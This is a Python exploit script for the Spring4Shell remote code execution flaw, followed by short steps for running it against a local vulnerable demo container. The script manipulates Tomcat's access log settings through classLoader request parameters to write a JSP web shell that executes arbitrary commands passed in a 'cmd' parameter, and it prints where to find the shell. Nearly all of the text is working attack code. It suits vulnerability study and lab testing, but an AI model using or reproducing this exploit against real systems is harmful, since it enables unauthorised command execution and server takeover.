Spring4Shell: An Application Vulnerable to RCE

# Author: @Rezn0k
# Based off the work of p1n93r

import requests
import argparse
from urllib.parse import urlparse
import time

# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()

post_headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

get_headers = {
    "prefix": "<%",
    "suffix": "%>//",
    # This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
    "c": "Runtime",
}


def run_exploit(url, directory, filename):
    log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
                  f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
                  f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
                  f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"

    log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
    log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
    log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
    log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="

    exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])

    # Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
    # If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
    file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Change the tomcat log location variables
    print("[*] Modifying Log Configurations")
    ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)

    # Changes take some time to populate on tomcat
    time.sleep(3)

    # Send the packet that writes the web shell
    ret = requests.get(url, headers=get_headers, verify=False)
    print("[*] Response Code: %d" % ret.status_code)

    time.sleep(1)

    # Reset the pattern to prevent future writes into the file
    pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
    print("[*] Resetting Log Variables.")
    ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
    print("[*] Response code: %d" % ret.status_code)


def main():
    parser = argparse.ArgumentParser(description='Spring Core RCE')
    parser.add_argument('--url', help='target url', required=True)
    parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
    parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
                        required=False, default="webapps/ROOT")

    file_arg = parser.parse_args().file
    dir_arg = parser.parse_args().dir
    url_arg = parser.parse_args().url

    filename = file_arg.replace(".jsp", "")

    if url_arg is None:
        print("Must pass an option for --url")
        return

    try:
        run_exploit(url_arg, dir_arg, filename)
        print("[+] Exploit completed")
        print("[+] Check your target for a shell")
        print("[+] File: " + filename + ".jsp")

        if dir_arg:
            location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
        else:
            location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
        print(f"[+] Shell should be at: {location}?cmd=id")
    except Exception as e:
        print(e)


if __name__ == '__main__':
    main()

• Clone the repository by typing git clone https://github.com/lunasec-io/Spring4Shell-POC.git in the terminal.

• cd to the cloned repository and Build and run the container: docker build . -t spring4shell && docker run -p 8080:8080 spring4shell

• The Vulnerable Application will now be available at http://localhost:8080/helloworld/greeting

• Now the Copy the exploit code mentioned above and save it as exploit.py

• Now go to your terminal and execute the Exploit on Vulnerable url python3 exploit.py --url http://localhost:8080/helloworld/greeting

References: